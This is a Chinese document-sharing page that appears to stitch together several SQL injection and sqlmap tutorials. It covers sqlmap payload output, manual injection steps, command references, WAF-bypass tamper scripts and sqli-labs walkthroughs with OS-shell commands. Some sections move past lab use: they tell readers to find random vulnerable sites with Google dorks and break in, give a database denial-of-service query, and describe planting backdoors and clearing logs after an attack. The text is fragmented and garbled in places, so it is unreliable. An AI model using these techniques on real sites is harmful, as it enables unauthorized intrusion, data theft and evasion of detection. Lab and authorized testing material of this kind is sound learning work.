实战:sqlmap注入特殊网址
- 格式:pdf
- 大小:1.15 MB
- 文档页数:7
sqlmap在https下的⼀种错误-ssl连接失败在昨天与师傅的交流中师傅考了我⼀个问题,在⽤sqlmap跑的时候遇到ssl爆红该怎么办,因为在实战中并没有遇到过这种情况,所以今天补⼀下知识。
⾸先查询了ssl的概念,通俗来说,如果⼀个⽹站没有安装ssl证书,那么他的传输⽅式就是http传输,安装ssl证书过后就是https传输,https传输加密性⽐http好得多,这是其⼀;当你访问⼀些没有安装ssl的⽹站时,会出现如下界⾯:没有安装ssl会导致信息很容易被窃取,这是其⼆;拥有ssl证书的⽹站会在⾕歌和百度拥有更⾼的权重,通俗来说就是当你搜索⼀个相同的内容时,拥有ssl的⽹站肯定会⽐没有ssl的⽹站在搜索上靠前。
了解概念之后回到师傅抛给我的问题,为什么⽹站会报ssl连接错误呢?就是因为ssl证书的原因,⽽且sqlmap它是不能⾃动伪造ssl证书的,所以这时候就有两种⽅法去解决ssl爆红的操作:通过本地代理端⼝进⾏访问通过搭建web,访问代理⽂件进⾏注⼊8080端⼝是被⽤于WWW代理服务的,apache安装后默认的端⼝就是8080端⼝。
因为⽬标站是https,加⼊--force-ssl参数然⽽还是报错ssl,这时候就只能代理本地的8080端⼝然后就能够顺利跑出来,结果如下:Parameter: id (POST)Type: boolean-based blindTitle: AND boolean-based blind -WHERE or HAVING clausePayload: id=3395AND1967=1967Vector: AND[INFERENCE]Type: error-basedTitle: Microsoft SQL Server/Sybase AND error-based -WHERE or HAVING clause (IN)Payload: id=3395AND8669IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (8669=8669) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR Vector: AND[RANDNUM]IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))Type: inline queryTitle: Microsoft SQL Server/Sybase inline queriesPayload: id=(SELECT CHAR(113)+CHAR(118)+CHAR(106)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (6806=6806) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(118Vector: (SELECT'[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')Type: stacked queriesTitle: Microsoft SQL Server/Sybase stacked queries (comment)Payload: id=3395;WAITFOR DELAY '0:0:5'--Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--Type: AND/OR time-based blindTitle: Microsoft SQL Server/Sybase time-based blind (IF- comment)Payload: id=3395WAITFOR DELAY '0:0:5'--Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--另外⼀种⽅法就是⽤⼀个php⽂件直接⽤sqlmap跑php就ok因为第⼆种⽅法⽐较⿇烦,还要写代码,这⾥就先不搞了QAQ查阅google后看到,第⼀种⽅法不⼀定⽤bp代理,通过charles本地映射后访问也可以。
SQL注入基本方法和假税务网站攻破全过程一、SQL手工注入步骤(以自制虚拟机环境为例)1.寻找注入点一般采用最简单的1=1判断为正常和1=2判断为错误来寻找,符合此条件的比为注入点。
2.直接在网址后加加单引号来判断数据库类型如在虚拟机环境下探测的结果为[Microsoft][ODBC SQL Server Driver][SQL Server],判断该数据库为SQL Server。
3.为进一步判断该数据库的版本,则在语句后加“and (@@version)>0”得出Microsoft SQL Server的数据库版本为2000。
4.判断登陆当前数据库的用户示例语句:http://192.168.2.5/list.asp?id=1 and user>0 ,结果:[Microsoft][ODBC SQL Server Driver][SQL Server]将nvarchar 值'dbo' 转换为数据类型为int 的列时发生语法错误,判断该数据库的用户为“dbo”。
5.判断当前数据库的名称示例语句:http://192.168.2.5/list.asp?id=1 and db_name()>0,结果为article,判断其他数据库名称则在地址后加“and (select name from master.dbo.sysdatabases where dbid=6)>1 ”语句,结果为:Northwind将dbid的值改为7则,结果为VRVEIS将dbid的值改为8则,结果为article将dbid的值改为9,10,11,返回结果为空白,基本判断其他数据库挖掘完毕。
6.进一步判断表结构。
示例:地址+ and (select top 1 name from sysobjects where xtype='u' and status>0)>0,得出第一个表为“t_jiaozhu”。
SQLMap 是一款开源的自动化 SQL 注入工具,它可以帮助安全人员快速发现和利用网站中的 SQL 注入漏洞。
以下是 SQLMap 的一些基本使用方法总结:
1. 确定目标:首先,你需要确定要测试的目标网站或应用程序的 URL。
2. 选择注入点:在目标网站上,选择一个你认为可能存在 SQL 注入漏洞的页面或表单。
通常,这些页面会接受用户输入,如用户名、密码、搜索框等。
3. 生成测试语句:使用 SQLMap,你可以生成各种类型的测试语句来尝试注入 SQL 命令。
可以通过指定注入点的参数名称和值来生成测试语句。
4. 执行测试:将生成的测试语句发送到目标网站,并观察返回的结果。
SQLMap 会根据返回的结果判断是否存在 SQL 注入漏洞,并尝试获取更多的信息。
5. 利用漏洞:如果发现了 SQL 注入漏洞,你可以使用 SQLMap 来进一步利用该漏洞。
例如,获取数据库中的敏感信息、修改数据、执行任意 SQL 命令等。
6. 报告漏洞:在完成测试和利用漏洞后,建议你向相关方报告发现的漏洞,以帮助他们修复问题并提高网站的安全性。
需要注意的是,SQLMap 的使用需要谨慎,并且应该仅在授权的环境下进行。
在进行任何安全测试之前,请确保你已经获得了合法的授权。
此外,SQLMap 可能无法适用于所有的网站和应用程序,因为一些网站可能采取了防护措施来防止 SQL 注入攻击。
SQLMAP注⼊教程-11种常见SQLMAP使⽤⽅法详解⼀、SQLMAP⽤于Access数据库注⼊(1) 猜解是否能注⼊1 2win:python sqlmap.py -u "" Linux :.lmap.py -u ""(2) 猜解表1 2win:python sqlmap.py -u ""--tables Linux:.lmap.py -u ""--tables(3) 根据猜解的表进⾏猜解表的字段(假如通过2得到了admin这个表)1 2win:python sqlmap.py -u ""--columns -T admin Linux:.lmap.py -u ""--columns -T admin(4) 根据字段猜解内容(假如通过3得到字段为username和password)1 2 3win:python sqlmap.py -u ""--dump -T admin -C "username,password" Linux:.lmap.py -u ""--dump -T admin -C"username,[url=]B[/url]password"⼆、SQLMAP⽤于Cookie注⼊(1) cookie注⼊,猜解表1win :python sqlmap.py -u ""--cookie "id=31" --table --level 2 (2) 猜解字段,(通过1的表猜解字段,假如表为admin)1 2win :python sqlmap.py -u ""--cookie "id=31" --columns -T admin --level 2(3) 猜解内容1 2win :python sqlmap.py -u ""--cookie "id=31" --dump -T admin -C "username,password"--level 2三、SQLMAP⽤于mysql中DDOS攻击(1) 获取⼀个Shell1 2 3 4win:python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell Linux:sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell(2) 输⼊执⾏语句完成DDOS攻击1select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)四、SQLMAP⽤于mysql注⼊(1) 查找数据库1python sqlmap.py -u ""--dbs(2) 通过第⼀步的数据库查找表(假如数据库名为dataname)1python sqlmap.py -u ""-D dataname --tables(3) 通过2中的表得出列名(假如表为table_name)1python sqlmap.py -u ""-D dataname -T table_name --columns(4) 获取字段的值(假如扫描出id,user,password字段)1 2python sqlmap.py -u ""-D dataname -T table_name -C "id,user,password"--dump五、SQLMAP中post登陆框注⼊(1) 其中的search-test.txt是通过抓包⼯具burp suite抓到的包并把数据保存为这个txt⽂件我们在使⽤Sqlmap进⾏post型注⼊时,经常会出现请求遗漏导致注⼊失败的情况。
sqlmapr操作案例操作案例:使用sqlmapr进行注入攻击1.前期准备:首先,确保已经安装了sqlmap和Burp Suite。
如果没有安装,可以从官方网站下载并按照说明进行安装。
2.目标选择:选择一个目标网站,尝试输入一些参数,观察是否有任何异常响应。
例如,输入特定的SQL语句或特殊字符,看看是否会导致错误或异常响应。
这可以帮助判断目标是否存在注入漏洞。
3.配置Burp代理:打开Burp Suite,并配置其代理设置。
确保将其设置为拦截所有HTTP请求,以便能够捕获目标网站的请求数据。
4.请求捕获:打开目标网站,并尝试进行登录或其他操作。
当Burp Suite 拦截到请求时,查看请求数据,并找到包含参数的部分。
5.参数修改:在参数值后添加特定的SQL注入语句或特殊字符,如单引号(')或注释符号(--、/**/),并重新发送请求。
观察目标网站的响应,看是否有异常或错误信息出现。
6.确认注入:如果目标网站出现了异常或错误信息,那么很可能存在注入漏洞。
尝试使用sqlmap的命令行工具,将捕获的请求数据作为输入,并指定目标URL和其他相关参数。
例如:sqlmap-r request.txt--dbs--batch该命令将使用请求数据文件(request.txt)作为输入,并尝试获取数据库架构、转储所有数据库表项等信息。
7.获取敏感信息:一旦确认存在注入漏洞,可以使用sqlmap进一步获取敏感信息,如数据库的用户名、密码、表名和数据等。
根据具体情况选择适当的参数和选项,如--current-user、--current-db、--passwords等。
8.后门植入与绕过:如果需要进一步利用注入漏洞,可以使用sqlmap的-u参数指定后门URL和相关参数。
同时,为了绕过安全过滤机制,可以使用sqlmap的绕过功能,如使用注释符号、编码等技巧来隐藏注入代码。
9.日志清理与安全措施:在完成攻击后,清理日志文件和清除后门是非常重要的步骤。
sqlmap的基本命令使用以下是sqlmap的基本命令使用:1. 执行SQL注入测试:`sqlmap -u <目标URL>`2. 执行POST请求的SQL注入测试:`sqlmap -u <目标URL> --data="<POST数据>"`3. 指定请求cookie进行SQL注入测试:`sqlmap -u <目标URL> --cookie="<cookie数据>"`4. 指定GET参数进行SQL注入测试:`sqlmap -u <目标URL> --data="<GET参数>"`5. 指定数据库管理系统类型:`sqlmap -u <目标URL> --dbms=<数据库类型>`6. 指定要测试的注入点:`sqlmap -u <目标URL> --level=<注入点级别> --risk=<注入点风险等级>`7. 使用代理进行测试:`sqlmap -u <目标URL> --proxy=<代理地址>`8. 指定响应时间,以检测时间盲注:`sqlmap -u <目标URL> --time-sec=<延迟时间>`9. 指定自定义payload进行测试:`sqlmap -u <目标URL> --data="<POST数据>" --payload="<payload数据>"`10. 获取数据库的表:`sqlmap -u <目标URL> --tables`11. 获取指定数据库的列:`sqlmap -u <目标URL> --columns -D <数据库名> -T <表名>`这些是sqlmap的一些基本命令,你可以根据实际情况进行调整和更改。
在使用sqlmap进行注入测试时,需要首先确认目标网站存在SQL注入漏洞,并获得合法授权进行测试。
以下是一个简单的sqlmap注入测试用例示例:
假设目标网站的URL为:url
1. 使用GET方法测试注入:
sqlmap -u " url /login.php?username=test&password=123" --dbs
```
这个命令将使用sqlmap对指定的URL进行GET请求的注入测试,并尝试获取数据库信息。
2. 使用POST方法测试注入:
sqlmap -u " url/login.php" --data "username=test&password=123" --dbs
这个命令将使用sqlmap对指定的URL进行POST请求的注入测试,并尝试获取数据库信息。
在实际测试中,还可以使用更多的参数和选项来定制sqlmap的测试行为,比如指定cookie、使用代理等。
但需要注意,在进行任何安全测试时,务必获得合法授权,并遵守法律法规。
sqlmap注⼊总结sqlmap注⼊总结⽂档修订摘要⽬录sqlmap注⼊总结 (1)1.1. sqlmap简介 (4)1.1.1. Sqlmap功能 (4)1.1.2. SQLMap命令选项 (4)1.1.3. sqlmap⽀持的注⼊模式 (5) 1.1.4. sqlmap的特性 (5)1.2. sqlmap的安装和升级 (5)1.3. sqlmap请求 (6)1.3.1. get⽅法 (6)1.3.2. post⽅法 (6)1.4. HTTP数据 (8)1.5. ⾝份验证 (12)1.6. sqlmap使⽤技巧 (13)1.7. OPTIMIZATION优化性能 (15) 1.8. 注⼊ (18)1.9. 注⼊技术 (24)1.10. 常规参数 (32)1.11. 杂项 (35)1.12. Meterpreter配合使⽤ (38)1.13. 如何⽤sqlmap绕过防⽕墙 (38)1.1.sqlmap简介SQLMap是⼀个开放源码的***测试⼯具,它可以⾃动探测和利⽤SQL注⼊漏洞来接管数据库服务器。
它配备了⼀个强⼤的探测引擎,为最终***测试⼈员提供很多猥琐的功能,可以***,可以访问底层的⽂件系统,还可以通过带外连接执⾏操作系统上的命令。
1.1.1.Sqlmap功能sqlmap是⼀个⾃动化的SQL注⼊⼯具,其主要功能是扫描,发现并利⽤给定的URL的SQL 注⼊漏洞。
sqlmap的功能强⼤到让你惊叹,常规注⼊⼯具不能绕过的话,终极使⽤sqlmap 会有意想不到的效果。
1、判断可注⼊的参数2、判断可以⽤那种SQL注⼊技术来注⼊3、识别出哪种数据库4、根据⽤户选择,读取哪些数据5、可执⾏情况6、当前数据库⽤户名称和拥有的权限7、发现WEB虚拟⽬录8、上传***getshell9、绕过防⽕墙1.1.2.SQLMap命令选项归类为⽬标(Target)选项、请求(Request)选项、优化、注⼊、检测、技巧(Techniques)、指纹、枚举等。
SQL注入实例如果你想要入侵一个网站,那么你首先要知道你将要入侵的网站是哪一种类型的。
方法是:打开一个网页,右键—>属性,从“地址(URL)”查看网站属于哪种类型。
有五种类型的网站页面URL标准。
相关文档:/seofuwu/seozhenduan/url.html例子:基于PHP类型的网站(一种在服务器端执行的嵌入HTML文档的脚本语言,主要用来连接动态数据库、制作动态网站。
现在被很多网站编程人员广泛运用)地址:/news_main.php?id=47如果你想要试验一次,但是这个网站已经不能被修复的话,那么你可以搜索类似的网站。
搜索语句可以是:inurl:index.php?id=或inurl:show.php?id=下面是我找的一个例子,供大家参考:实验演示:第一步:寻找可以入侵的网站。
方法是:打开PHP类型的网址,在注入点后加一个单引号(‘)按回车。
如果网页出错,那么该网站有漏洞。
下面是我选的网站的截图比较,正常网页如图1所示,加(‘)出现的错误网页如图2所示。
图1图2第二步:进一步验证此链接是可以注入的。
(与运算)(1)在注入点后加“+and+1=1”页面显示正常,如图3所示。
图3(2)在注入点后加“+and+1=0”,页面显示错误,如图4所示。
图4第三步:获得字段数在注入点后面加入“+order+by+1”,页面显示正常,如图5所示。
图5(2)注入点后面换成“+order+by+20”,出现错误界面,,如图6所示。
图6(3)用二分法进一步判断出现错误的字段数,再注入点后面换成:“+order+by+10”,“+order+by+5”,“+order+by+8”,“+order+by+9”,页面均显示正常,说明,正确的字段是1,2,3,4,5,6,7,8,9。
如图7所示。
图7第四步:获得显示位再注入点后面加入“+and+1=2+union+select+1,2,3,4,5,6,7,8,9”,如图8所示,显示的数字即是显示位:2,4,7图8第五步:获得该网站数据库的名字、版本、数据库所在路径等下面是获得数据库信息的一些函数:user() 数据库用户名database() 当前使用的数据库名version() 数据库版本datadir()或@@datadir 数据库数据所在路径basedir()或@@basedir 数据库安装路径在出错的字段位置加上上面的函数,即可获得相对应的信息,如图9所示图9第六步:获得当前使用的数据库名的hex值,并暴漏该网站数据库的字段名(1)数据库名的还原需要使用协助工具:小葵多功能转换工具,把当前使用的数据库名jmjt转化为:0x6A6D6A74,转换结果如图10所示。
Sql注⼊测试--Sqlmap慕课⽹sqlmap学习笔记:⼀、SQL注⼊所谓SQL注⼊,就是通过把SQL命令插⼊到Web表单提交或输⼊域名或页⾯请求的查询字符串,最终达到欺骗服务器执⾏恶意的SQL命令。
例如那么执⾏的查询语句就是where xx='1' or '1'='1',这样查询的就是全部的数据。
(2)或者是登录时的免密登录,在传参的时候将注释符号#传⼊,注释后⾯密码的查询和验证,这样就可以只通过⽤户名免密登录⽤户名:' or 1=1#这样查询语句执⾏的就是:where username='' or 1=1# and password='',直接注释掉密码的验证(3)对数据表的恶意操作传⼊的参数为 or 1=(drop xx from xx)等,可以对数据表进⾏删除操作,所以sql注⼊的安全性问题很重要,sql注⼊是在保证查询where语句恒真的情况下可以对数据表做任意操作(4)资源枚举,其实就是通过枚举法也就是穷举法对数据库名,备份数据库名,数据表名,列名等进⾏猜测,然后通过服务器返回的错误提⽰中得到信息,便可以进⾏sql注⼊操作。
⽽为何⼀些表单提交和输⼊⽂本框中的请求可以sql注⼊呢,就是后端没有对⽤户输⼊的数据进⾏过滤验证。
所以判断是否可以进⾏sql注⼊是我们即将进⾏sql注⼊攻击的第⼆步。
第⼀步是确定我们要进⾏sql注⼊的地⽅。
第⼆步尝试性地输⼊⼀个使wehre查询语句恒真的语句,通过返回的错误的提⽰可以知道该输⼊域是否对输⼊的字符串进⾏过滤第三步可以通过猜测表名,列名等⽅法可以测试⼆、sql注⼊⼯具--SqlmapSqlmap是⼀款⾃动化sql注⼊的⼯具,其功能强⼤,⽀持多种数据库,包括mysql,sqlserver等主流的数据库,采⽤独特的sql注⼊⽅法来达到⾃动化注⼊扫描漏洞的⽬的。
1)基于布尔的盲注(Type:boolean-based blind),即可以根据返回页⾯判断条件真假的注⼊。
sqlmap使⽤教程(超详细)-u 指定⽬标URL (可以是http协议也可以是https协议)-d 连接数据库--dbs 列出所有的数据库--current-db 列出当前数据库--tables 列出当前的表--columns 列出当前的列-D 选择使⽤哪个数据库-T 选择使⽤哪个表-C 选择使⽤哪个列--dump 获取字段中的数据--batch ⾃动选择yes--smart 启发式快速判断,节约浪费时间--forms 尝试使⽤post注⼊-r 加载⽂件中的HTTP请求(本地保存的请求包txt⽂件)-l 加载⽂件中的HTTP请求(本地保存的请求包⽇志⽂件)-g ⾃动获取Google搜索的前⼀百个结果,对有GET参数的URL测试-o 开启所有默认性能优化--tamper 调⽤脚本进⾏注⼊-v 指定sqlmap的回显等级--delay 设置多久访问⼀次--os-shell 获取主机shell,⼀般不太好⽤,因为没权限-m 批量操作-c 指定配置⽂件,会按照该配置⽂件执⾏动作-data data指定的数据会当做post数据提交-timeout 设定超时时间-level 设置注⼊探测等级--risk 风险等级--identify-waf 检测防⽕墙类型--param-del="分割符" 设置参数的分割符--skip-urlencode 不进⾏url编码--keep-alive 设置持久连接,加快探测速度--null-connection 检索没有body响应的内容,多⽤于盲注--thread 最⼤为10 设置多线程--delay有些web服务器请求访问太过频繁可能会被防⽕墙拦截,使⽤--delay就可以设定两次http请求的延时--safe-url有的web服务器会在多次错误的访问请求后屏蔽所有请求,使⽤--safe-url 就可以每隔⼀段时间去访问⼀个正常的页⾯。
--tamper语法:--tamper ["脚本名称"]当调⽤多个脚本的时候,脚本之间⽤逗号隔开,调⽤的脚本在 sqlmap⽂件夹下的 tamper ⽂件夹中脚本信息apostrophemask.py ⽤UTF-8全⾓字符替换单引号字符apostrophenullencode.py ⽤⾮法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使⽤Base64编码between.py 分别⽤“NOT BETWEEN 0 AND #”替换⼤于号“>”,“BETWEEN # AND #”替换等于号“=”bluecoat.py 在SQL语句之后⽤有效的随机空⽩符替换空格符,随后⽤“LIKE”替换等于号“=”chardoubleencode.py 对给定的payload全部字符使⽤双重URL编码(不处理已经编码的字符)charencode.py 对给定的payload全部字符使⽤URL编码(不处理已经编码的字符)charunicodeencode.py 对给定的payload的⾮编码字符使⽤Unicode URL编码(不处理已经编码的字符)concat2concatws.py ⽤“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py ⽤“LIKE”运算符替换全部等于号“=”greatest.py ⽤“GREATEST”函数替换⼤于号“>”halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py ⽤“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py ⽤⼩写值替换每个关键字字符modsecurityversioned.py ⽤注释包围完整的查询modsecurityzeroversioned.py ⽤当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py ⽤representations替换预定义SQL关键字,适⽤于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加⼀个百分号randomcase.py 随机转换每个关键字字符的⼤⼩写randomcomments.py 向SQL关键字中插⼊随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py ⽤“/**/”替换空格符space2dash.py ⽤破折号注释符“--”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2hash.py ⽤磅注释符“#”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2morehash.py ⽤磅注释符“#”其次是⼀个随机字符串和⼀个换⾏符替换空格符space2mssqlblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符space2mssqlhash.py ⽤磅注释符“#”其次是⼀个换⾏符替换空格符space2mysqlblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符space2mysqldash.py ⽤破折号注释符“--”其次是⼀个换⾏符替换空格符space2plus.py ⽤加号“+”替换空格符space2randomblank.py ⽤⼀组有效的备选字符集当中的随机空⽩符替换空格符unionalltounion.py ⽤“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py ⽤⼀个多字节组合%bf%27和末尾通⽤注释⼀起替换空格符宽字节注⼊varnish.py 添加⼀个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py ⽤MySQL注释包围每个⾮函数关键字versionedmorekeywords.py ⽤MySQL注释包围每个关键字xforwardedfor.py 添加⼀个伪造的HTTP头“X-Forwarded-For”来绕过WAF-v ["x"]使⽤sqlmap注⼊测试时,可以使⽤ -v [x] 参数来指定回显信息的复杂程度, x 的取值范围为[0~6]:等级解释0只显⽰python错误以及严重信息1同时显⽰基本信息和警告信息2同时显⽰debug信息3同时显⽰注⼊的pyload4同时显⽰HTTP请求5同时显⽰HTTP相应头6同时显⽰HTTP相应页⾯--levellevel有5个等级,默认等级为1,进⾏Cookie测试时使⽤--level 2 ,进⾏use-agent或refer测试时使⽤--level 3 ,进⾏ host 测试时使⽤--level 5–-os-cmd=["命令"] 或 --os-shell=["命令"] 执⾏系统命令利⽤sql-labs-less1测试 whoami 命令sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami选择web服务器⽀持的语⾔选择web服务器的可写⽬录[1] 使⽤默认的[2] ⾃定义位置[3] ⾃定义⽬录列表⽂件[4] 暴⼒搜索我在本地测试,节省时间,我选择2 ,⾃定义路径,然后把路径输⼊在下⾯执⾏命令后的返回结果以下关卡均可⽤get型的⽅法,常规注⼊step1:sqlmap -u ["URL"] //测试是否存在注⼊step2:sqlmap -u ["URL"] -current-db //查询当前数据库step3:sqlmap -u ["URL"] -D ["数据库名"] --tables //查询当前数据库中的所有表step4:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] --columns //查询指定库中指定表的所有列(字段)step5:sqlmap -u ["URL"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库中指定表指定列中的字段内容GET型关卡类型sql-labs-less1GET单引号字符型注⼊sql-labs-less2 数字型注⼊sql-labs-less3有括号的单引号报错注⼊sql-labs-less4有括号的双引号报错注⼊sql-labs-less5单引号⼆次注⼊sql-labs-less6双引号⼆次注⼊sql-labs-less7⽂件导⼊导出sql-labs-less8布尔型盲注sql-labs-less9时间型盲注sql-labs-less10双引号时间盲注sql注⼊检测get型:语法:sqlmap -u ["url"]sqlmap -u http://192.168.0.6/sqli-labs-master/Less-1/?id=1post型:先使⽤bp把提交的数据包保存下来或者直接加上post提交的参数语法:sqlmap -r ["请求包的txt⽂件"]sqlmap -r "/root/.sqlmap/post.txt"sql-labs -less1~sql-labs-less9获取当前数据库名称:语法:sqlmap -u [“url”] --current-dbsqlmap -u "http://192.168.0.6/sqli-labs-master/Less-1/?id=1" --current-db获取指定数据库的表名:语法:sqlmap -u [“url”] -D [‘数据库名’] --tablessqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security --tables获取指定数据库指定表中的字段:语法:sqlmap -u [“url”] -D [‘数据库名’] -T[‘表名’] --columnssqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users --columns获取指定数据库指定表的指定字段的字段内容:语法:sqlmap -u [“url”] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dumpsqlmap -u "192.168.0.6/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dumpsql-labs-less10sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" --current-db提升等级 -level 2sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-10/?id=1" -level 2 --current-dbsql-labs-less11~less17常规 POST 注⼊step1:sqlmap -r ["请求头⽂本"] //测试是否存在注⼊step2:sqlmap -r ["请求头⽂本"] --current-db //查询当前数据库step3:sqlmap -r ["请求头⽂本"] -D ["数据库名"] --tables //查询当前数据库的所有表step4:sqlmap -r ["请求头⽂本"] -D ["数据库名"] -T ["表名"] --columns //查询指定库指定表的所有列step5:sqlmap -r ["请求头⽂本"] -D ["数据库名"] -T ["表名"] -C ["列名"] --dump //打印出指定库指定表指定列的所有字段内容POST关卡类型sql-labs-less11基于错误的单引号字符型注⼊sql-labs-less12基于错误的双引号字符型注⼊sql-labs-less13单引号变形双注⼊sql-labs-less14双引号变形双注⼊sql-labs-less15Bool型时间延迟单引号盲注sql-labs-less16Bool型时间延迟双引号盲注sql-labs-less17更新查询注⼊sql-labs-less18Uagent注⼊sql-labs-less19Referer注⼊sql-labs-less20Cookie注⼊sql-labs-less18Header injection - Uagentsqlmap 在对user-agent 注⼊的时候,得在⽂件中的user-agent的参数后⾯加上 *或者不加 * 号,调⽤ --level参数,将等级调⾄ 3级,只有等级为 3级即以上时才能对 user-agent进⾏注⼊sqlmap -r "/root/.sqlmap/post.txt" -level 3sql-labs-less19Header injection - Referer对Referer注⼊和User-agent相同,要么是在Referer后⾯加上 *或者将 level 调⾄ 3 级sql-labs-less20Header injection -Cookie语法:sqlmap -u [“url”] --cookie ["cookie信息"] --level 2sqlmap -u "http://192.168.0.6/sqli-labs-master/Less-20/index.php" --cookie "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2。
原理篇—sql注⼊9:sqlmap常⽤参数2接上⽂:九、⾝份认证 参数:“-auth-type”和“-auth-cred” 这些参数⽤于进⾏⾝份认证。
“-auth-type”⽤于指定认证⽅式,⽀持以下三种⾝份认证⽅式: 1.Basic 2.Digest 3.NTLM “-auth-cred”⽤于给出⾝份认证的凭证,格式是“username:password”,如:sqlmap.py -u "http://192.168.1.5/admin.php?id=1" --auth-type Basic --auth-cred "test:test"⼗、忽略401 参数:-ignore-401 使⽤该参数忽略401错误(未认证)⼗⼀、HTTP(S)代理 参数:“-proxy”、“-proxy-cred”、“-proxy-filed”和“-ignore-proxy” 使⽤参数“-proxy”来设置⼀个HTTP(S)代理,格式是“http(s)://url:port”。
若代理需要认证,使⽤参数“-proxy-cred”来提供认证凭证,格式是“username:password”。
使⽤参数“-proxy-file”指定⼀个存储着代理列表的⽂件,Sqlmap会依次使⽤⽂件中的代理,当某个代理有任何连接问题时就会被弃⽤⽽换下⼀个代理。
使⽤参数“-ignore-proxy”忽略本地代理设置⼗⼆、HTTP请求之间添加延迟 参数:-delay 过于频繁地发送请求可能会被⽹站察觉或有其他不良后果。
使⽤参数“-delay”来指定HTTP请求之间的延迟,单位为秒,类型是浮点数,如“-delay 1.5”表⽰延迟1.5秒。
默认是没有延迟的。
⼗三、超时 参数:-timeout 超时时间默认为30秒,可以⽤参数“-tiomeout”指定超时时间,如“-timeout 30.5”表⽰设置超时时间为30.5秒。
注⼊神器sqlmap命令⼤全详解强⼤的SQL注⼊⼯具——SQLMAP Akast [N.S.T] 1. 前⾔Windows下的注⼊⼯具好的⼜贵,免费的啊D、明⼩⼦等⼜不好⽤,我们根本没必要花时间去找什么破解的havij、pangolin什么的,特别是破解的⼯具很可能被绑了⽊马。
其实 Linux下的注⼊⼯具也是⾮常强⼤的,不过分的说,可以完全取代Windows下⾯的所有注⼊⼯具。
就如backtrack系统⾥⾯就有⾮常丰富的注⼊⼯具,对MSSQL、MYSQL、oracle等各种数据库的应有尽有了,⽽且这些⼯具都是免费的,并且是开放源代码的,我们还可以⽤来修改为合适⾃⼰使⽤的注⼊⼯具。
本⽂给⼤家介绍的SqlMap是⼀个开放源码的渗透测试⼯具,它可以⾃动探测和利⽤SQL 注⼊漏洞来接管数据库服务器。
它配备了⼀个强⼤的探测引擎,为最终渗透测试⼈员提供很多猥琐的功能,可以拖库,可以访问底层的⽂件系统,还可以通过带外连接执⾏操作系统上的命令。
2. SQLMAP命令详解为了⽅便使⽤我把sqlmap的选项都翻译出来了,当然可能会存在⼀些不恰当的地⽅,请⼤家指出,可以给我发邮件:akast@。
如果我有时间会把这个⼯具出个中⽂版。
Options(选项):--version 显⽰程序的版本号并退出 -h, --help 显⽰此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为1)Target(⽬标):以下⾄少需要设置其中⼀个选项,设置⽬标URL。
-d DIRECT 直接连接到数据库。
-u URL, --url=URL ⽬标URL。
-l LIST 从Burp或WebScarab代理的⽇志中解析⽬标。
-r REQUESTFILE 从⼀个⽂件中载⼊HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为⽬标URL。
-c CONFIGFILE 从INI配置⽂件中加载选项。
Request(请求)::这些选项可以⽤来指定如何连接到⽬标URL。
sqlmap介绍与使⽤案例sqlmap介绍与使⽤案例1.sqlmap简介最⽩话的介绍就是sqlmap是⼀个⼯具,⼀个⽤来做sql注⼊攻击的⼯具2.windows安装python2这个sqlmap需要python2才可以正常执⾏,注意python3不⾏哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中⼀个python执⾏⽂件的名字,以便在path中添加环境变量的时候,可以正确区分,详细这⾥不进⾏赘述,如果不了解,建议⾃⾏百度。
